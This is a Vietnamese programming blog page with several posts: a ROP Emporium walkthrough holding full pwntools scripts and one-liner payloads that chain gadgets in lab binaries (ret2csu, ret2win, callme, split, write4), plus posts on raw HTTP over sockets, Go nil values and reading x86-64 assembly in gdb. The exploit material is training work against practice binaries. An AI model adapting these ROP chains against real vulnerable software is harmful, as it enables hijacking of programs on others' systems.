[0x00400520]> aaa
[0x00400520]> afl
...
0x00400640    4 101          sym.__libc_csu_init
...
[0x00400520]> s sym.__libc_csu_init
[0x00400640]> pdf
            ; DATA XREF from entry0 @ 0x400536
┌ 101: sym.__libc_csu_init (int64_t arg1, int64_t arg2, int64_t arg3);
│           ; arg int64_t arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; arg int64_t arg3 @ rdx
│           0x00400640      4157           push r15
│           0x00400642      4156           push r14
│           0x00400644      4989d7         mov r15, rdx                ; arg3
│           0x00400647      4155           push r13
│           0x00400649      4154           push r12
│           0x0040064b      4c8d259e0720.  lea r12, obj.__frame_dummy_init_array_entry ; loc.__init_array_start
│                                                                      ; 0x600df0
│           0x00400652      55             push rbp
│           0x00400653      488d2d9e0720.  lea rbp, obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end
│                                                                      ; 0x600df8
│           0x0040065a      53             push rbx
│           0x0040065b      4189fd         mov r13d, edi               ; arg1
│           0x0040065e      4989f6         mov r14, rsi                ; arg2
│           0x00400661      4c29e5         sub rbp, r12
│           0x00400664      4883ec08       sub rsp, 8
│           0x00400668      48c1fd03       sar rbp, 3
│           0x0040066c      e85ffeffff     call sym._init
│           0x00400671      4885ed         test rbp, rbp
│       ┌─< 0x00400674      7420           je 0x400696
│       │   0x00400676      31db           xor ebx, ebx
│       │   0x00400678      0f1f84000000.  nop dword [rax + rax]
│       │   ; CODE XREF from sym.__libc_csu_init @ 0x400694
│      ┌──> 0x00400680      4c89fa         mov rdx, r15
│      ╎│   0x00400683      4c89f6         mov rsi, r14
│      ╎│   0x00400686      4489ef         mov edi, r13d
│      ╎│   0x00400689      41ff14dc       call qword [r12 + rbx*8]
│      ╎│   0x0040068d      4883c301       add rbx, 1
│      ╎│   0x00400691      4839dd         cmp rbp, rbx
│      └──< 0x00400694      75ea           jne 0x400680
│       │   ; CODE XREF from sym.__libc_csu_init @ 0x400674
│       └─> 0x00400696      4883c408       add rsp, 8
│           0x0040069a      5b             pop rbx
│           0x0040069b      5d             pop rbp
│           0x0040069c      415c           pop r12
│           0x0040069e      415d           pop r13
│           0x004006a0      415e           pop r14
│           0x004006a2      415f           pop r15
└           0x004006a4      c3             ret
[0x00400640]>

Ta có Gadget 1:

│      ┌──> 0x00400680      4c89fa         mov rdx, r15
│      ╎│   0x00400683      4c89f6         mov rsi, r14
│      ╎│   0x00400686      4489ef         mov edi, r13d
│      ╎│   0x00400689      41ff14dc       call qword [r12 + rbx*8]

Gadget 2

│           0x0040069a      5b             pop rbx
│           0x0040069b      5d             pop rbp
│           0x0040069c      415c           pop r12
│           0x0040069e      415d           pop r13
│           0x004006a0      415e           pop r14
│           0x004006a2      415f           pop r15
└           0x004006a4      c3             ret

Với payload1 ta sử dụng Gadget 2 để truyền giá trị arg vào r13, r14, r15, Gadget2 cũng control r12 để kết hợp với Gadget 1 gọi đến hàm chúng ta mong muốn đồng thời control edi, rsi, rdx

payload1 = b'A'*40
payload1 += p64(libc_csu_int + 0x5a) # Gadget 1
payload1 += p64(0x0) # rbx
payload1 += p64(0x1) # rbp -> add rbx, 0x1;cmp rbp, rbx; jne __libc_csu_init -> rbx==rbp
payload1 += p64(init) # r12 -> call qword [r12 + rbx*8]
payload1 += p64(0xdeadbeefdeadbeef) # r13 -> edi
payload1 += p64(0xcafebabecafebabe) # r14 -> rsi
payload1 += p64(0xd00df00dd00df00d) # r15 -> rdx

Tới đây ta có rsi và rdx, riêng rdi ta cần phải thực hiện ở payload2, đó là lí do ta không gọi trực tiếp hàm ret2win với r12

Với r12 ta sử dụng hàm __init__ vì  nó không cần đối số

Ta thấy sau call qword [r12 + rbx*8] thì rbx sẽ từ 0 thêm 1 và nếu rbp khác rbx  thì sẽ quay lại 0x400680. Đó là lí do tại payload1 ta sẽ cho rbp bằng 0x1 để thực hiện đoạn tiếp theo và đoạn này chứa Gadget 2

│      ┌──> 0x00400680      4c89fa         mov rdx, r15
│      ╎│   0x00400683      4c89f6         mov rsi, r14
│      ╎│   0x00400686      4489ef         mov edi, r13d
│      ╎│   0x00400689      41ff14dc       call qword [r12 + rbx*8]
│      ╎│   0x0040068d      4883c301       add rbx, 1
│      ╎│   0x00400691      4839dd         cmp rbp, rbx
│      └──< 0x00400694      75ea           jne 0x400680

Ở payload 2 ta sẽ thêm vào rsp một đoạn padding bất kỳ do trước kế tiếp payload1 sẽ là add rsp, 8, tại payload 2 ta gọi hàm trong r12 ở đây là __init__ (chỉ để giữ nguyên rsi, rdi, rdx). Kế tiếp ta truyền giá trị cho rdi do Gadget 2 trước đó chỉ control được edi. 

payload2 = p64(libc_csu_int + 0x40) # Gadget 2
payload2 += b'B'*8
payload2 += p64(0x0) # rbx
payload2 += p64(0x0) # rbp
payload2 += p64(0x0) # r12
payload2 += p64(0x0) # r13
payload2 += p64(0x0) # r14
payload2 += p64(0x0) # r15
payload2 += p64(0x4006a3) # 0x00000000004006a3: pop rdi; ret;
payload2 += p64(0xdeadbeefdeadbeef) # -> rdi
payload2 += p64(ret2win)

Kết hợp 2 payload

from pwn import *

libc_csu_int = 0x400640 # 55  0x00000640 0x00400640 GLOBAL FUNC   101      __libc_csu_init
init = 0x400398 # 0x400398 point to 0x4004d0 # 8   0x000004d0 0x004004d0 GLOBAL FUNC   0        _init
ret2win_GOT = 0x601020 # 0x00400510 ff250a0b2000   jmp qword [reloc.ret2win]   ; [0x601020:8]=0x400516
ret2win = 0x400510 #2   0x00000510 0x00400510 GLOBAL FUNC   16       imp.ret2win


context.update(arch='amd64', os='linux')

p = process('./ret2csu')
# gdb.attach(p,'''
# break *pwnme
# ''')

payload1 = b'A'*40
payload1 += p64(libc_csu_int + 0x5a) # Gadget 1
payload1 += p64(0x0) # rbx
payload1 += p64(0x1) # rbp -> add rbx, 0x1;cmp rbp, rbx; jne __libc_csu_init -> rbx==rbp
payload1 += p64(init) # r12 -> call qword [r12 + rbx*8]
payload1 += p64(0xdeadbeefdeadbeef) # r13 -> edi
payload1 += p64(0xcafebabecafebabe) # r14 -> rsi
payload1 += p64(0xd00df00dd00df00d) # r15 -> rdx

payload2 = p64(libc_csu_int + 0x40) # Gadget 2
payload2 += b'B'*8
payload2 += p64(0x0) # rbx
payload2 += p64(0x0) # rbp
payload2 += p64(0x0) # r12
payload2 += p64(0x0) # r13
payload2 += p64(0x0) # r14
payload2 += p64(0x0) # r15
payload2 += p64(0x4006a3) # 0x00000000004006a3: pop rdi; ret;
payload2 += p64(0xdeadbeefdeadbeef) # -> rdi
payload2 += p64(ret2win)

line1 = p.recvuntil(b'>')
print(line1)

p.sendline(payload1 + payload2)
line2 = p.recvall()
print(line2)

# p.interactive()

Friday, 29 September 2023

Học khai thác lỗ hổng bảo mật qua ROP Emporium

ROP Emporium

ROP Emporium là chuỗi challenge dùng để hướng dẫn cách xây dựng exploit (ROP gadget bypass NX - NonExecute) dành cho newbie, cụ thể là tự build rop gadgets. 

Trước khi bắt đầu cần lưu ý một số thứ: 

  • Lab được sử dụng ở đây là x64_86, với các kiến trúc khác việc xây dựng rop gadget sẽ khác nhau
  • Số lượng offset cần để smashstack và ghi đè địa trỉ trở về trong binary x86 là 40, do đó ta sẽ thêm 40 bytes “A” để ghi đè địa chỉ trả về.
  • Lab cần vô hiệu hóa ASLR, ASLR sẽ khiến cho địa chỉ của binary trong bộ nhớ được phân bổ ngẫu nhiên khiến các địa chỉ trong gadget không chính xác (Cần lỗ hổng để leak base address và cộng thêm vào)
  • Công cụ sử dụng chủ yếu gồm: Ghidra (RE), rabin2, radare2, Ropper, pwndbg.
  • Cấu trúc stack sẽ biễu diễn từ thấp đến cao
[] -> thấp
....
[] -> cao

push rdi; sẽ thêm giá trị rdi vào stack và thanh ghi rsp (stack pointer) sẽ giảm
pop rdi; sẽ lấy giá trị tại đỉnh stack nơi rsp trỏ vào và giá trị rsp sẽ tăng
mov [rsi], rdi; sẽ lấy giá trị rdi lưu vào tại địa chỉ bộ nhớ lưu trong thanh ghi rsi (địa chỉ sẽ dùng [rsi])
  • Khi xây dựng rop gadget riêng với kiến trúc x64 sẽ gặp lỗi segfault dù rằng gadget chain vẫn đúng, điều này là do stack alignment của thư viện glibc (bị tại movaps). Do đó trước khi gặp địa chỉ trả về cần phải align stack trước bằng gadget ret; https://ropemporium.com/guide.html#Common%20pitfalls
  • Calling convention x64 khác x86. x64 sẽ lấy argument tại các thanh ghi rdi → arg1, rsi→ arg2, rdx→arg3…., xem tại đây: http://6.s081.scripts.mit.edu/sp18/x86-64-architecture-guide.html
  • Khi kết thúc một routine (function) hay callee (hàm được gọi) thì sẽ gặp instruction ret, lúc này stack pointer sẽ tăng lên và lấy giá trị trở về tại đỉnh stack chính là hàm caller (hàm gọi), do đó khi ta ghi đè giá trị này thì sẽ kiểm soát được luồng chương trình theo ý muốn.

Ret2win

Challenge 1 khá đơn giản khi đã có function ret2win nhiệm vụ chỉ cần trả về địa chỉ của function đó là được

Tiến hành lấy các gadget cần thiết

$ rabin2 -s ret2win
[Symbols]
nth paddr      vaddr      bind   type   size lib name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
...
36  0x00000756 0x00400756 LOCAL  FUNC   27       ret2win
...

$ python3 Ropper.py -f ret2win
...
0x000000000040053e: ret;

Ta sẽ build stack như sau:

  [A*8  ]
  [.....]
  [A*8  ] -> 40*A
  [0x40053e] -> ret;
  [0x400756] -> ret2win();

Truyền payload vào binary

python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\x3e\x05\x40\x00' + b'\x00'*4  + b'\x56\x07\x40\x00' + b'\x00'*4)" | ./ret2win

Callme

Challenge 3 sẽ hướng dẫn gọi 3 hàm liên tiếp theo thứ tự, chỉ cần gọi đúng thứ tự thì sẽ in ra flag

Reverse bằng Ghidra ta sẽ thấy 3 hàm lần lượt là callme_one, callme_two, callme_three

Mỗi hàm cần truyền vào 3 tham số arg1, arg2 và arg3 lần lượt là 0xdeadbeef, 0xcafebabe và 0xd00df00d để có thể gọi hàm kế tiếp

3 hàm này sử dụng lazy binding để thay đổi địa chỉ trong GOT và sẽ gọi đến địa chỉ hàm trong libcallme.so, tuy nhiên ta chỉ cần gọi địa chỉ của hàm trong binary là được. Tiến hành lấy các gadget cần thiết

$ rabin2 -i callme
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
...
3   0x004006f0 GLOBAL FUNC       callme_three
...
7   0x00400720 GLOBAL FUNC       callme_one
...
10  0x00400740 GLOBAL FUNC       callme_two
...

$ python3 Ropper.py -f callme
...
0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; 
0x00000000004006be: ret;

Sử dụng gadget pop rdi; pop rsi; pop rdx; ret; sẽ lấy lần lượt 3 vị trí kế tiếp trong stack làm argument cho hàm trả về của chúng ta

Ta sẽ build stack như sau:

  [A*8  ]
  [.....]
  [A*8  ] -> 40*A
  [0x40093c] -> pop rdi; pop rsi; pop rdx; ret;
  [0xdeadbeef] -> rdi - arg1
  [0xcafebabe] -> rsi - arg2
  [0xd00df00d] -> rdx - arg3
  [0x4006be] -> ret;
  [0x400720] -> callme_one();
  [0x40093c] -> pop rdi; pop rsi; pop rdx; ret;
  [0xdeadbeef] -> rdi - arg1
  [0xcafebabe] -> rsi - arg2
  [0xd00df00d] -> rdx - arg3
  [0x4006be] -> ret;
  [0x400740] -> callme_two();
  [0x40093c] -> pop rdi; pop rsi; pop rdx; ret;
  [0xdeadbeef] -> rdi - arg1
  [0xcafebabe] -> rsi - arg2
  [0xd00df00d] -> rdx - arg3
  [0x4006be] -> ret;
  [0x4006f0] -> callme_three();

Truyền payload vào binary

python3 -c “import sys;sys.stdout.buffer.write(b'A'*40 + b'\x3c\x09\x40\x00' + b'\x00'*4 + b'\xef\xbe\xad\xde'*2 + b'\xbe\xba\xfe\xca'*2 + b'\x0d\xf0\x0d\xd0'*2 + b'\xbe\x06\x40\x00' + b'\x00'*4 + b'\x20\x07\x40\x00' + b'\x00'*4 + b'\x3c\x09\x40\x00' + b'\x00'*4 + b'\xef\xbe\xad\xde'*2 + b'\xbe\xba\xfe\xca'*2 + b'\x0d\xf0\x0d\xd0'*2 + b'\xbe\x06\x40\x00' + b'\x00'*4 + b'\x40\x07\x40\x00' + b'\x00'*4 + b'\x3c\x09\x40\x00' + b'\x00'*4 + b'\xef\xbe\xad\xde'*2 + b'\xbe\xba\xfe\xca'*2 + b'\x0d\xf0\x0d\xd0'*2 + b'\xbe\x06\x40\x00' + b'\x00'*4 + b'\xf0\x06\x40\x00' + b'\x00'*4)” | ./callme

Split

Challenge 2 hướng dẫn chúng ta truyền string có sẵn trong binary làm argument cho function cho chúng ta sử dụn

Ta thấy hàm system gọi /bin/ls tuy nhiên ở đây ta muốn lấy nội dung của flag nên ta sẽ lấy chuỗi /bin/cat flag.txt trong section .data của binary để truyền vào arg1 của function system(). Tiến hành lấy các gadget cần thiết

$ rabin2 -i split
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00400550 GLOBAL FUNC       puts
2   0x00400560 GLOBAL FUNC       system
...
$ rabin2 -z split
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
...
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt


$ python3 Ropper.py -f split
...
0x00000000004007c3: pop rdi; ret;
0x000000000040053e: ret;

Gadget pop rdi; ret; sẽ lấy vị trí kế tiếp trong stack (địa chỉ của chuỗi command in ra flag trong section .data của binary) làm argument cho hàm system

Ta sẽ build stack như sau:

  [A*8  ]
  [.....]
  [A*8  ] -> 40*A
  [0x4007c3] -> pop rdi; ret;
  [0x601060] -> .data   ascii "/bin/cat flag.txt" -> arg1
  [0x40053e] -> ret;
  [0x400560] -> system();

Truyền payload vào binary

python3 -c "import sys;sys.stdout.buffer.write(b'A'*40 + b'\xc3\x07\x40\x00' + b'\x00'*4 + b'\x60\x10\x60\x00' + b'\x00'*4 + b'\x3e\x05\x40\x00' + b'\x00'*4 + b'\x60\x05\x40\x00' + b'\x00'*4)" | ./split

Write4

Challenge 4 sẽ hướng dẫn một kỹ thuật chính là write-what-where gadgets, nơi ta sẽ ghi nội dung bất kỳ vào vị trí nào đó trong memory

Gadget này sẽ có dạng mov [reg2], reg1 nơi ta sẽ ghi nội dung của thanh ghi reg1 vào địa chỉ lưu trong thanh ghi reg2

Ở bài này ta có sẵn function print_file(*arg1) nhận giá trị tại địa chỉ của arg1 và truyền vào hàm fopen và mở file đó ra, do đó ta cần khiến thanh ghi rdi lưu địa chỉ mà tại đó chứa tên chuỗi “flag.txt” là được

Tiến hành lấy các gadget cần thiết

$ rabin2 -i write4
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
...
4   0x00400510 GLOBAL FUNC       print_file

$ rabin2 -S write4
[Sections]
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
23  0x00001028   0x10 0x00601028   0x10 -rw- .data

$ python3 Ropper.py -f write4
...
0x0000000000400690: pop r14; pop r15; ret; 
0x0000000000400628: mov qword ptr [r14], r15; ret;
0x0000000000400693: pop rdi; ret; 
0x00000000004004e6: ret;

Sử dụng gadget pop r14; pop r15; ret;  sẽ lấy lần lượt vị trí kế trong stack lưu vào r14 (địa chỉ vaddr của .data section vì nó có quyền ghi -rw-) và kế sau lưu vào r15 (chuỗi “flag.txt” vừa đủ 8 byte nên ta không cần thêm)

Sau đó ta gọi gadget mov qword ptr [r14], r15; ret; để lấy giá trị trong r15 lưu tại vị trí tại địa chỉ lưu trong r14 cũng chính là .data section.

Cuối cùng là truyền địa chỉ vào arg1 bằng gadget pop rdi; ret; với địa chỉ của .data section

Ta sẽ build stack như sau:

[A*8  ]
[.....]
[A*8  ] -> 40*A
[0x400690] -> pop r14; pop r15; ret;
[0x601028] -> -rw- .data -> r14
[b'flag.txt'] -> 8 byte "flag.txt" -> r15
[0x400628] -> mov qword ptr [r14], r15; ret; -> lấy 'flag.txt' lưu vào .data
[0x400693] -> pop rdi; ret; -> arg1
[0x601028] -> -rw- .data -> địa chỉ lưu 'flag.txt' -> arg1
[0x4004e6] -> ret;
[0x400510] -> print_file(*rdi);

Truyền payload vào binary

python3 -c "import sys;sys.stdout.buffer.write(b'A'*40 + b'\x90\x06\x40\x00' + b'\x00'*4 + b'\x28\x10\x60\x00' + b'\x00'*4 + b'flag.txt' + b'\x28\x06\x40\x00' + b'\x00'*4 + b'\x93\x06\x40\x00' + b'\x00'*4 + b'\x28\x10\x60\x00' + b'\x00'*4 + b'\xe6\x04\x40\x00' + b'\x00'*4 + b'\x10\x05\x40\x00' + b'\x00'*4)" | ./write4

Thursday, 31 August 2023

Truy cập website chỉ với TCP socket - Python, Perl, Bash

Thời đại ngày nay khi mọi ngôn ngữ lập trình đều có sẵn hay dễ dàng cài thư viện HTTP client, HTTP dần trở thành "hộp đen" ít người thọc vào táy máy. Chỉ có 1 TCP socket, liệu có kết nối HTTP được không? let's do it

CHÚ Ý: HTTP, không phải HTTPS

HTTP/1.1 protocol

Truy cập: HTTP/1.0 hay HTTP/1.1 là protocol (giao thức) dùng text, chỉ cần gửi các string đi là nhận được response.

Cấu trúc 1 HTTP/1.x request:

CRLF là Carriage Return and Line Feed \r\n

HTTP request format

Method Request-URI HTTP-Version CRLF
headers CRLF
message-body

Chạy HTTP server có sẵn ở python3

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [31/Aug/2023 19:06:49] "GET / HTTP/1.1" 200 -

Gửi HTTP request bằng lệnh nc (netcat)

$ nc localhost 8000
GET / HTTP/1.1
header1=value

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.3
Date: Thu, 31 Aug 2023 12:06:49 GMT
Content-type: text/html; charset=utf-8
Content-Length: 6504
...

Gửi HTTP request bằng Python3 socket

Python3

import socket
# tạo 1 TCP socket (SOCK_STREAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Kết nối tới địa chỉ 127.0.0.1 port 8000
sock.connect(("127.0.0.1", 8000))
# Gửi HTTP request
sock.send(b"GET / HTTP/1.1\r\nheader=1\r\nbody\r\n\r\n")
# Nhận 1024 bytes kết quả, in 2 dòng đầu
print(sock.recv(1024).splitlines()[:2])
# [b'HTTP/1.0 200 OK', b'Server: SimpleHTTP/0.6 Python/3.11.3']
sock.close()

Gửi HTTP request bằng Perl

but why?

Khi thế giới đều chạy trên server, Python có ở mọi nơi, gần như mọi hệ điều hành UNIX/Linux thì khi thế giới chạy container (docker, K8S), Python không còn có ưu điểm này nữa. Container cắt giảm tối đa các phần mềm cài trên đó, thường không có Python, nhưng bất ngờ thay nhiều khi vẫn có perl hay bash.

# perl http.pl
use IO::Socket;
my $sock = new IO::Socket::INET (
                                 PeerAddr => '127.0.0.1',
                                 PeerPort => '8000',
                                 Proto => 'tcp',
                                );
die "Could not create socket: $!\n" unless $sock;
print $sock "GET / HTTP/1.1\r\n";
print $sock "Host: any.domain.org\r\n\r\n";
print while <$sock>;
close($sock);

Gửi HTTP request bằng bash

Khi không có perl, thì bash cũng được. CHÚ Ý: bash chứ không phải zsh hay dash.

Một tính năng có từ lâu, ít được biết tới, phụ thuộc vào option khi compile bash mà có hay không:

--enable-net-redirections This enables the special handling of filenames of the form /dev/tcp/host/port and /dev/udp/host/port when used in redirections (see Redirections).

$ exec 3<>/dev/tcp/127.0.0.1/8000
$ echo -e "GET / HTTP/1.1\r\n\r\n" >&3
$ cat <&3
Server: SimpleHTTP/0.6 Python/3.11.3
Date: Fri, 01 Sep 2023 02:54:38 GMT
Content-type: text/html; charset=utf-8
...

Xem thêm https://www.xmodulo.com/tcp-udp-socket-bash-shell.html

/dev/tcp/host/port If host is a valid hostname or Internet address, and port is an integer port number or service name, Bash attempts to open the corresponding TCP socket.

Tham khảo

Kết luận

HTTP 1 thật đơn giản, không như HTTP/2. Khi chỉ cần gửi HTTP request trong container, ai cần đến curl nữa?

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Friday, 18 August 2023

[Go] nil không là duy nhất, cap(map) = ?

Trong Python, None là giá trị duy nhất thể hiện sự "không có gì", sự "null", thì trong Go, nil lại là nhiều thứ khác nhau.

Go nil có kiểu

Mỗi giá trị nil có kiểu cụ thể.

package main

func main() {
    var s []int
    var m map[string]int

    println(s == nil)
    println(m == nil)
    // println(x == y) // Compile error: ./nil.go:9:15: invalid operation: s == m (mismatched types []int and map[string]int)
}

s và m đều bằng nil, nhưng không bằng nhau.

nil map không phải là vô dụng

var m map[string]int

Khi 1 map chưa được khởi tạo, nó có giá trị là nil. Map là kiểu reference, như pointer hay slices. nil map vẫn đọc giá trị bình thường (giá trị là zero value của kiểu int tức 0):

var m map[string]int
v := m["password"]
println(m)// 0x0
println(v)// 0

nil map không thêm được giá trị.

var m map[string]int
m["age"] = 8

Panic với nội dung

panic: assignment to entry in nil map

goroutine 1 [running]:
main.main()
    /home/hvn/me/familug.github.io/content/nil.go:5 +0x2e

panic: assignment to entry in nil map

nil map giống như empty map khi read, nhưng khác khi write.

var m map[string]int
fmt.Printf("nil: %v\n", m)
// nil: map[]

var e = map[string]int{}
fmt.Printf("empty: %v\n", e)
// empty: map[]

cap(map) bằng mấy?

Các kiểu reference trong Go phải allocation để cấp phát bộ nhớ sử dụng new hoặc make. Dùng make để alloc map hay slice.

It creates slices, maps, and channels only, and it returns an initialized (not zeroed) value of type T (not *T). The reason for the distinction is that these three types represent, under the covers, references to data structures that must be initialized before use. A slice, for example, is a three-item descriptor containing a pointer to the data (inside an array), the length, and the capacity, and until those items are initialized, the slice is nil. For slices, maps, and channels, make initializes the internal data structure and prepares the value for use. https://go.dev/doc/effective_go#allocation_make

Một slice chứa 3 thông tin: pointer tới array phía dưới, length và capacity.

A slice is a descriptor of an array segment. It consists of a pointer to the array, the length of the segment, and its capacity (the maximum length of the segment). https://go.dev/blog/slices-intro

var nilSlice []int
fmt.Printf("%v len %d cap %d\n", nilSlice, len(nilSlice), cap(nilSlice))
// [] len 0 cap 0

var s = make([]int, 0)
fmt.Printf("%v len %d cap %d\n", s, len(s), cap(s))
// [] len 0 cap 0

var a = make([]int, 2, 10)
fmt.Printf("%v len %d cap %d\n", a, len(a), cap(a))
// [0 0] len 2 cap 10

Và dùng make với map:

var m = make(map[string]int)
fmt.Printf("%v len %d cap ?\n", m, len(m))

cap(m) bằng mấy?

fmt.Printf("%v len %d cap %d\n", m, len(m), cap(m))

./nil.go:7:49: invalid argument: m (variable of type map[string]int) for cap

Không dùng được cap với map. Tại sao? vì nó như thế và sẽ không thay đổi.

Sau 12+ năm dùng Go, tác giả bradfitz (golang team (2010-2020)) đã đề xuất thêm cap(map), nhưng đã bị từ chối https://github.com/golang/go/issues/52157.

Tham khảo

Kết luận

Go thật đơn giản, và đầy bất ngờ.

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Friday, 28 July 2023

Viết "Hello World" bằng C, đọc và chạy Assembly x86-64 (phần 1)

Điều đầu tiên và quan trọng nhất khi đọc về C hay assembly là: không được sợ. Code có thể lạ hay dài, nhưng không hề khó, mà thường đơn giản.

  • không yêu cầu biết C
  • không yêu cầu biết assembly
  • biết code đơn giản 1 ngôn ngữ bất kỳ

đọc xong là biết.

Bài viết liên quan hơi ngược lại với bài viết hello word bằng x86-64 assembly, viết thì khó hơn đọc, bởi viết cần nghĩ đủ thứ, lên kế hoạch viết gì tiếp, đặt tên ra sao, còn đọc thì chỉ cần đi theo.

PS: nên đọc trên máy tính hay tablet để có format chuẩn.

Cài đặt gcc gdb

Trên Ubuntu

sudo apt update && sudo apt install -y gcc gdb

Viết Hello World bằng C

Hơn "hello world" 1 chút, sẽ viết 1 function nhận vào 8 đầu vào và tính tổng.

#include <stdio.h>

int sum(int a, int b, int c, int d, int e, int f, int g, int h) {
    int s = a + b + c + d + e + f + g + h;
    return s;
}

int main() {
    puts("Hello world!");
    int s = sum(1,2,3,4,5,6,7,8);
    return s*2;
}

Dòng include như import trong Python để C có thể gọi function puts. Còn lại, code trên tương đương code Python3 sau:

def sum(a: int, b: int, c: int, d: int, e: int, f: int, g: int, h: int) -> int:
    s: int = a + b + c + d + e + f + g + h
    return s

def main() -> int:
    print("Hello world!")
    s: int = sum(1,2,3,4,5,6,7,8)
    return s*2
$ gcc --help
Usage: gcc [options] file...
...
  --help={common

$ gcc --help=common | grep debug
  --debug                     Same as -g.
$ gcc -g hello.c
$ file a.out
a.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=80dbc7d0bdab643730e858ec44e97fcd92dacb7b, for GNU/Linux 4.4.0, with debug_info, not stripped

Chạy code

$ ./a.out
Hello world!
$ echo $?
72

Vì main return (1+2+3+4+5+6+7+8)*2 ta được kết quả 72.

Các lệnh gdb cơ bản

  • info hiển thị các thông tin, gõ info sẽ hiện các lệnh con như info functions
File hello.c:
8:  int main();
3:  int sum(int, int, int, int, int, int, int, int);

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  puts@plt
0x0000000000001040  _start
0x00000000000011dc  _fini
  • Code assembly có 2 syntax, gdb mặc định là AT&T att , hoặc phổ biến (cả trên Windows) là intel. Lệnh set disassembly-flavor intel để chọn intel syntax.
(gdb) set disassembly-flavor intel
  • disas hay disassemble in ra code assembly của function tương ứng. Gõ help disas để hiện thêm chi tiết các option
(gdb) help disas
With a /s modifier, source lines are included (if available).
In this mode, the output is displayed in PC address order, and
file names and contents for all relevant source files are displayed.
...

help disas /s main để hiện code C kèm asm:

(gdb) disas /s main
Dump of assembler code for function main:
hello.c:
8   int main() {
   0x000000000000118f <+0>: push   rbp
   0x0000000000001190 <+1>: mov    rbp,rsp
   0x0000000000001193 <+4>: sub    rsp,0x10

9       puts("Hello world!");
   0x0000000000001197 <+8>: lea    rax,[rip+0xe66]        # 0x2004
   0x000000000000119e <+15>:    mov    rdi,rax
   0x00000000000011a1 <+18>:    call   0x1030 <puts@plt>

10      int s = sum(1,2,3,4,5,6,7,8);
   0x00000000000011a6 <+23>:    push   0x8
   0x00000000000011a8 <+25>:    push   0x7
   0x00000000000011aa <+27>:    mov    r9d,0x6
   0x00000000000011b0 <+33>:    mov    r8d,0x5
   0x00000000000011b6 <+39>:    mov    ecx,0x4
   0x00000000000011bb <+44>:    mov    edx,0x3
   0x00000000000011c0 <+49>:    mov    esi,0x2
   0x00000000000011c5 <+54>:    mov    edi,0x1
   0x00000000000011ca <+59>:    call   0x1139 <sum>
   0x00000000000011cf <+64>:    add    rsp,0x10
   0x00000000000011d3 <+68>:    mov    DWORD PTR [rbp-0x4],eax

11      return s;
   0x00000000000011d6 <+71>:    mov    eax,DWORD PTR [rbp-0x4]

12  }
   0x00000000000011d9 <+74>:    leave
   0x00000000000011da <+75>:    ret
End of assembler dump.

Giải thích code assembly trong hello world

Code assembly tuy dài nhưng đơn giản, chỉ dùng vài instruction (câu lệnh) như:

  • mov
  • call
  • lea
  • push
  • add
  • sub
  • leave
  • ret

Các register trong assembly x86-64

asm x86-64 có 16 register (thanh ghi) thường dùng sau

  • rbp: stack-frame base pointer
  • rsp: (top of) stack pointer
  • rax: accumulator - thường chứa kết quả của các phép tính
  • rbx
  • rcx
  • rdx
  • rdi
  • rsi

và các register chỉ có trong x86-64 (64 bits), không có trong x86 (32 bits):

  • r8d
  • r9d
  • ...
  • r15d

chúng như các "biến" với tên cố định trên CPU để chứa các giá trị.

  • rip: instruction pointer là register đặc biệt, trỏ tới instruction tiếp theo được chạy.

Các register đều có kích thước 64 bits, ở dạng 32 bits, tên của chúng thay chữ r bằng chữ e: eip, esp, ebp, eax, ebx, ecx, edx, edi, esi.

rbp - base pointer register và stack

8   int main() {
   0x000000000000118f <+0>: push   rbp
   0x0000000000001190 <+1>: mov    rbp,rsp
   0x0000000000001193 <+4>: sub    rsp,0x10

Khi vào 1 function, dòng đầu tiên luôn là push rbp để lưu giá trị hiện tại của rbp vào stack. Stack là 1 vùng bộ nhớ liên tục, thường được chia thành các frames. Mỗi function khi chạy có 1 stack-frame để lưu các thông tin của function đang chạy (biến local, parameter để gọi function khác ...). Stack giống như chồng sách, xếp vào trước sẽ ở dưới, lấy ra sau cùng. rbp khi ở địa chỉ 0x00118f chứa "base pointer" của function _start, function gọi main (lập trình viên C phải viết chương trình chạy từ main_start chỉ gọi main). rbp sẽ được dùng trong main để lưu "base pointer" của main, nên sẽ đè mất rbp của _start, do vậy phải push rbp vào stack. Tương ứng với nó, cuối function sẽ có instruction leave, thực chất là pop stack để lấy ra rbp đã lưu.

12  }
   0x00000000000011db <+76>:    leave
   0x00000000000011dc <+77>:    ret

Cú pháp asm instruction

Hầu hết ở 1 trong các dạng

instruction
instruction register
instruction register value
instruction register [memory]

Hai dòng tiếp theo khi bắt đầu main

   0x0000000000001190 <+1>: mov    rbp,rsp
   0x0000000000001193 <+4>: sub    rsp,0x10

mov thực hiện lấy giá trị của rsp ghi vào rbp, hay dễ hiểu hơn, như viết rbp = rsp trong C, Python. sub trừ địa chỉ rsp đi 0x10 hay 16 đơn vị.

Hiển thị hello world!

9       puts("Hello world!");
   0x0000000000001197 <+8>: lea    rax,[rip+0xe66]        # 0x2004
   0x000000000000119e <+15>:    mov    rdi,rax
   0x00000000000011a1 <+18>:    call   0x1030 <puts@plt>

Gồm 3 bước:

  • tính vị tri của string "Hello world!" trong file binary. lea Load effective address tính địa chỉ rồi gán cho rax: rax = rip + 0xe66, ở đây tính địa chỉ, không đọc nội dung.
  • gán rdi cho giá trị này rdi = rax
